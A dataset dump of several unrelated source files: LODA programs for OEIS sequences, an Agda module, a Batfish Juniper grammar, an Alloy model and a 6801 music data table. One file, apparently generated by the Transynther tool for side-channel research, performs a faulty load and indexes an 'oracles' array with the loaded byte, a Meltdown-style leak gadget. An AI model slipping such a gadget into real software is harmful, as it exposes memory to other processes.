max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
oeis/269/A269703.asm | neoneye/loda-programs | 11 | 164234 | <filename>oeis/269/A269703.asm
; A269703: Numbers k such that prime(k) == 1 (mod 7).
; Submitted by <NAME>(s1)
; 10,14,20,30,31,45,47,52,60,68,75,82,87,90,94,101,113,115,120,122,126,132,134,144,153,156,162,163,169,177,183,192,209,213,220,226,233,239,250,251,262,267,269,288,295,304,306,315,320,324,330,337,342,344,346
seq $0,140444 ; Primes congruent to 1 (mod 14).
sub $0,2
seq $0,230980 ; Number of primes <= n, starting at n=0.
add $0,1
|
Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_34_1726.asm | ljhsiun2/medusa | 9 | 178559 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca.log_34_1726.asm
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x405, %rsi
lea addresses_normal+0x1d661, %rdi
nop
nop
nop
nop
xor %r10, %r10
mov $41, %rcx
rep movsq
nop
nop
nop
nop
nop
and %r12, %r12
// Store
mov $0x5c3af70000000005, %r14
nop
nop
nop
nop
nop
cmp %r10, %r10
movw $0x5152, (%r14)
cmp %r12, %r12
// Faulty Load
lea addresses_US+0x1fe05, %rdi
nop
add %r10, %r10
movb (%rdi), %r14b
lea oracles, %rsi
and $0xff, %r14
shlq $12, %r14
mov (%rsi,%r14,1), %r14
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal'}}
{'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'00': 34}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
src/Builtin/Size.agda | L-TChen/agda-prelude | 0 | 3264 | <gh_stars>0
module Builtin.Size where
open import Agda.Builtin.Size public
|
programs/oeis/051/A051880.asm | neoneye/loda | 22 | 172739 | <filename>programs/oeis/051/A051880.asm
; A051880: a(n) = binomial(n+4,4)*(2*n+1).
; 1,15,75,245,630,1386,2730,4950,8415,13585,21021,31395,45500,64260,88740,120156,159885,209475,270655,345345,435666,543950,672750,824850,1003275,1211301,1452465,1730575,2049720,2414280,2828936,3298680,3828825,4425015,5093235
sub $3,$0
mul $0,2
add $0,1
mov $2,$3
sub $2,1
bin $2,4
mul $0,$2
|
projects/batfish/src/main/antlr4/org/batfish/grammar/flatjuniper/FlatJuniper_system.g4 | sskausik08/Wilco | 0 | 2633 | parser grammar FlatJuniper_system;
import FlatJuniper_common;
options {
tokenVocab = FlatJuniperLexer;
}
s_system
:
SYSTEM
(
sy_default_address_selection
| sy_domain_name
| sy_host_name
| sy_name_server
| sy_ntp
| sy_null
| sy_root_authentication
| sy_syslog
| sy_tacplus_server
)
;
sy_default_address_selection
:
DEFAULT_ADDRESS_SELECTION
;
sy_domain_name
:
DOMAIN_NAME variable
;
sy_host_name
:
HOST_NAME variable
;
sy_name_server
:
NAME_SERVER hostname = variable
;
sy_ntp
:
NTP
(
syn_null
| syn_server
)
;
sy_null
:
(
ACCOUNTING
| ALLOW_V4MAPPED_PACKETS
| ARP
| AUTHENTICATION_ORDER
| BACKUP_ROUTER
| COMMIT
| COMPRESS_CONFIGURATION_FILES
| DDOS_PROTECTION
| DOMAIN_SEARCH
| EXTENSIONS
| INTERNET_OPTIONS
| LICENSE
| LOCATION
| LOGIN
| MAX_CONFIGURATIONS_ON_FLASH
| MAX_CONFIGURATION_ROLLBACKS
| NAME_RESOLUTION
| NO_REDIRECTS
| PORTS
| PROCESSES
| RADIUS_OPTIONS
| RADIUS_SERVER
| SAVED_CORE_CONTEXT
| SAVED_CORE_FILES
| SCRIPTS
| SERVICES
| SWITCHOVER_ON_ROUTING_CRASH
| TIME_ZONE
) null_filler
;
sy_root_authentication
:
ROOT_AUTHENTICATION
(
syr_encrypted_password
)
;
sy_syslog
:
SYSLOG
(
sys_host
| sys_null
)
;
sy_tacplus_server
:
TACPLUS_SERVER hostname =
(
IP_ADDRESS
| IPV6_ADDRESS
)
(
apply
| syt_secret
| syt_source_address
| syt_null
)
;
syn_null
:
(
BOOT_SERVER
| BROADCAST_CLIENT
| SOURCE_ADDRESS
) null_filler
;
syn_server
:
SERVER hostname = variable PREFER?
;
syr_encrypted_password
:
ENCRYPTED_PASSWORD password = variable
;
sys_host
:
HOST hostname = variable
(
sysh_null
)
;
sys_null
:
(
ARCHIVE
| CONSOLE
| FILE
| SOURCE_ADDRESS
| TIME_FORMAT
| USER
) null_filler
;
sysh_null
:
(
ANY
| DAEMON
| EXPLICIT_PRIORITY
| FACILITY_OVERRIDE
| FIREWALL
| INTERACTIVE_COMMANDS
| KERNEL
| LOG_PREFIX
| MATCH
| SOURCE_ADDRESS
| USER
) null_filler
;
syt_secret
:
SECRET secret = DOUBLE_QUOTED_STRING
;
syt_source_address
:
SOURCE_ADDRESS address = IP_ADDRESS
;
syt_null
:
(
PORT
| SINGLE_CONNECTION
| TIMEOUT
) null_filler
;
|
alloy4fun_models/trainstlt/models/8/p2MseW7SZrqTv28xi.als | Kaixi26/org.alloytools.alloy | 0 | 1471 | open main
pred idp2MseW7SZrqTv28xi_prop9 {
always (all t:Train| eventually (some t.pos:>Entry ))
}
pred __repair { idp2MseW7SZrqTv28xi_prop9 }
check __repair { idp2MseW7SZrqTv28xi_prop9 <=> prop9o } |
oeis/093/A093873.asm | neoneye/loda-programs | 11 | 176018 | ; A093873: Numerators in Kepler's tree of harmonic fractions.
; Submitted by <NAME>
; 1,1,1,1,2,1,2,1,3,2,3,1,3,2,3,1,4,3,4,2,5,3,5,1,4,3,4,2,5,3,5,1,5,4,5,3,7,4,7,2,7,5,7,3,8,5,8,1,5,4,5,3,7,4,7,2,7,5,7,3,8,5,8,1,6,5,6,4,9,5,9,3,10,7,10,4,11,7,11,2,9,7,9,5,12,7,12,3,11,8,11,5,13,8,13,1,6,5,6,4
mul $0,2
mov $2,2
lpb $0
div $0,2
sub $0,1
add $3,$0
mod $3,2
mov $4,$2
add $2,$1
sub $4,$1
mul $3,$4
add $1,$3
lpe
mov $0,$2
div $0,2
|
programs/oeis/008/A008954.asm | karttu/loda | 1 | 166530 | ; A008954: Final digit of triangular number n*(n+1)/2.
; 0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5,5,6,8,1,5,0,6,3,1,0,0,1,3,6,0,5,1,8,6,5
add $0,1
bin $0,2
mod $0,10
mov $1,$0
|
examples/jonassen/1bit2voice/dyabit.asm | gregdionne/tasm6801 | 8 | 240308 | ; Play a little tune.
; Adapted from Simon's original to be
; less dependent on macro expansion
; Notes
C_ .equ 1
Cs .equ 2
D_ .equ 3
Ds .equ 4
E_ .equ 5
F_ .equ 6
Fs .equ 7
G_ .equ 8
Gs .equ 9
A_ .equ 10
As .equ 11
B_ .equ 12
; Octaves
O1 .equ 0*12
O2 .equ 1*12
O3 .equ 2*12
O4 .equ 3*12
O5 .equ 4*12
O6 .equ 5*12
O7 .equ 6*12
O8 .equ 7*12
; Rest
quiet .equ 0
zix
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte A_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte A_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte A_+O3, A_+O4
.byte D_+O4, D_+O5
.byte D_+O4, D_+O5
.byte G_+O4, G_+O5
.byte G_+O4, G_+O5
.byte C_+O5, C_+O6
.byte C_+O5, C_+O6
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte D_+O4, D_+O4
.byte D_+O4, D_+O4
.byte D_+O4, quiet
.byte D_+O4, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte A_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte A_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte A_+O5, A_+O4
.byte A_+O5, A_+O4
.byte G_+O5, G_+O6
.byte G_+O5, G_+O6
.byte E_+O5, E_+O6
.byte E_+O5, E_+O6
.byte D_+O5, D_+O6
.byte D_+O5, D_+O6
.byte A_+O3, A_+O3
.byte A_+O3, A_+O3
.byte quiet, quiet
.byte quiet, quiet
.byte D_+O3, D_+O3
.byte D_+O3, D_+O3
.byte D_+O3, D_+O3
.byte D_+O3, D_+O3
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, quiet
.byte G_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, quiet
.byte G_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte quiet, G_+O3
.byte quiet, G_+O3
.byte G_+O4, G_+O5
.byte G_+O4, G_+O5
.byte C_+O4, C_+O5
.byte C_+O4, C_+O5
.byte F_+O4, F_+O5
.byte F_+O4, F_+O5
.byte C_+O5, C_+O6
.byte C_+O5, C_+O6
.byte F_+O6, F_+O7
.byte F_+O6, F_+O7
.byte E_+O6, E_+O7
.byte E_+O6, E_+O7
.byte C_+O6, C_+O7
.byte C_+O6, C_+O7
.byte A_+O5, A_+O6
.byte A_+O5, A_+O6
.byte F_+O3, F_+O3
.byte F_+O3, F_+O3
.byte F_+O3, quiet
.byte F_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O4, F_+O4
.byte F_+O4, F_+O4
.byte F_+O4, quiet
.byte F_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O3, F_+O3
.byte F_+O3, F_+O3
.byte quiet, F_+O3
.byte quiet, F_+O3
.byte F_+O4, F_+O4
.byte F_+O4, F_+O4
.byte F_+O4, F_+O4
.byte F_+O4, F_+O4
.byte quiet, D_+O4
.byte quiet, D_+O4
.byte quiet, D_+O4
.byte quiet, D_+O4
.byte G_+O3, G_+O3
.byte G_+O3, G_+O3
.byte G_+O3, quiet
.byte G_+O3, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte quiet, quiet
.byte F_+O3, F_+O3
.byte F_+O3, F_+O3
.byte quiet, F_+O3
.byte quiet, F_+O3
.byte G_+O7, F_+O4
.byte quiet, F_+O4
.byte F_+O7, F_+O4
.byte quiet, F_+O4
.byte E_+O7, F_+O4
.byte quiet, G_+O7
.byte C_+O7, quiet
.byte quiet, F_+O7
.byte C_+O6, quiet
.byte quiet, E_+O7
.byte G_+O5, quiet
.byte quiet, C_+O7
.byte F_+O5, D_+O7
.byte quiet, G_+O6
.byte G_+O5, A_+O6
.byte quiet, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte A_+O3, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O5
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, quiet
.byte As+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, E_+O4
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte A_+O3, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte A_+O4, quiet
.byte A_+O4, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte G_+O4, E_+O5
.byte G_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte D_+O4, D_+O7
.byte D_+O4, G_+O6
.byte D_+O4, A_+O6
.byte D_+O4, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte A_+O3, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O5
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, quiet
.byte As+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, E_+O4
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte A_+O4, quiet
.byte A_+O4, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, E_+O5
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte D_+O3, D_+O5
.byte D_+O3, quiet
.byte D_+O3, A_+O4
.byte D_+O3, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte A_+O3, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O5
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, quiet
.byte As+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, E_+O4
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte A_+O3, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, A_+O3
.byte A_+O4, quiet
.byte A_+O4, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte G_+O4, E_+O5
.byte G_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte D_+O4, D_+O7
.byte D_+O4, G_+O6
.byte D_+O4, A_+O6
.byte D_+O4, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte A_+O3, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O5
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte As+O4, quiet
.byte As+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O4, E_+O4
.byte A_+O4, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O4, E_+O4
.byte quiet, quiet
.byte quiet, E_+O5
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O6, quiet
.byte A_+O6, A_+O5
.byte D_+O6, A_+O5
.byte E_+O6, D_+O5
.byte A_+O5, E_+O5
.byte D_+O6, A_+O4
.byte E_+O5, D_+O5
.byte A_+O5, E_+O4
.byte D_+O5, A_+O4
.byte E_+O5, D_+O4
.byte A_+O4, E_+O4
.byte D_+O5, A_+O3
.byte A_+O4, D_+O4
.byte D_+O4, A_+O3
.byte E_+O4, D_+O3
.byte A_+O3, E_+O3
.byte G_+O3, G_+O7
.byte G_+O3, C_+O7
.byte G_+O3, D_+O7
.byte quiet, G_+O6
.byte quiet, B_+O6
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, D_+O5
.byte G_+O4, quiet
.byte G_+O4, G_+O4
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O3, G_+O3
.byte quiet, quiet
.byte G_+O3, D_+O4
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, D_+O4
.byte quiet, quiet
.byte G_+O5, D_+O5
.byte G_+O5, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O3, D_+O4
.byte G_+O3, quiet
.byte G_+O3, G_+O4
.byte quiet, quiet
.byte quiet, G_+O3
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, D_+O4
.byte quiet, quiet
.byte quiet, D_+O5
.byte quiet, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O5, D_+O4
.byte G_+O5, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O4, G_+O3
.byte G_+O4, quiet
.byte G_+O3, D_+O4
.byte quiet, quiet
.byte G_+O3, G_+O4
.byte quiet, quiet
.byte G_+O5, D_+O4
.byte quiet, quiet
.byte G_+O4, D_+O5
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte quiet, quiet
.byte C_+O5, D_+O7
.byte quiet, G_+O6
.byte C_+O5, A_+O6
.byte quiet, quiet
.byte F_+O3, F_+O7
.byte F_+O3, A_+O6
.byte F_+O3, C_+O7
.byte quiet, F_+O6
.byte quiet, G_+O6
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte F_+O4, D_+O5
.byte F_+O4, quiet
.byte F_+O4, G_+O4
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte F_+O3, G_+O3
.byte F_+O3, quiet
.byte F_+O3, D_+O4
.byte F_+O3, quiet
.byte F_+O4, G_+O4
.byte F_+O4, quiet
.byte F_+O4, D_+O4
.byte quiet, quiet
.byte F_+O5, D_+O5
.byte F_+O5, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte G_+O3, G_+O7
.byte G_+O3, C_+O7
.byte G_+O3, D_+O7
.byte quiet, G_+O6
.byte quiet, B_+O6
.byte quiet, quiet
.byte quiet, D_+O4
.byte quiet, quiet
.byte G_+O4, G_+O4
.byte G_+O4, quiet
.byte G_+O4, D_+O4
.byte quiet, quiet
.byte quiet, D_+O5
.byte quiet, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte F_+O3, D_+O4
.byte F_+O3, quiet
.byte quiet, G_+O4
.byte quiet, quiet
.byte quiet, G_+O7
.byte quiet, quiet
.byte quiet, F_+O7
.byte quiet, quiet
.byte quiet, D_+O7
.byte quiet, quiet
.byte quiet, C_+O7
.byte quiet, quiet
.byte C_+O5, G_+O6
.byte B_+O4, quiet
.byte As+O4, F_+O6
.byte A_+O4, quiet
.byte Gs+O4, D_+O6
.byte G_+O4, quiet
.byte Fs+O4, C_+O6
.byte F_+O4, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte quiet, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, E_+O4
.byte A_+O4, E_+O6
.byte A_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O3, E_+O5
.byte A_+O3, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte As+O3, As+O4
.byte quiet, quiet
.byte D_+O4, D_+O5
.byte quiet, quiet
.byte G_+O4, G_+O5
.byte quiet, quiet
.byte C_+O5, C_+O6
.byte quiet, quiet
.byte C_+O4, E_+O6
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte quiet, E_+O7
.byte quiet, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O6
.byte A_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O5, A_+O3
.byte A_+O5, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte A_+O5, E_+O4
.byte quiet, quiet
.byte A_+O4, E_+O5
.byte A_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte D_+O4, D_+O5
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, quiet
.byte A_+O3, A_+O7
.byte A_+O3, D_+O7
.byte A_+O3, E_+O7
.byte quiet, A_+O6
.byte quiet, C_+O7
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, E_+O4
.byte A_+O4, E_+O6
.byte A_+O4, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte A_+O3, A_+O4
.byte quiet, quiet
.byte A_+O3, A_+O3
.byte A_+O3, quiet
.byte quiet, E_+O4
.byte quiet, quiet
.byte As+O4, As+O4
.byte quiet, As+O4
.byte A_+O3, E_+O5
.byte A_+O3, quiet
.byte quiet, E_+O6
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte A_+O3, quiet
.byte quiet, A_+O4
.byte quiet, quiet
.byte quiet, A_+O3
.byte quiet, quiet
.byte A_+O3, E_+O4
.byte quiet, quiet
.byte A_+O4, A_+O4
.byte A_+O4, A_+O4
.byte quiet, E_+O4
.byte quiet, quiet
.byte quiet, E_+O6
.byte quiet, quiet
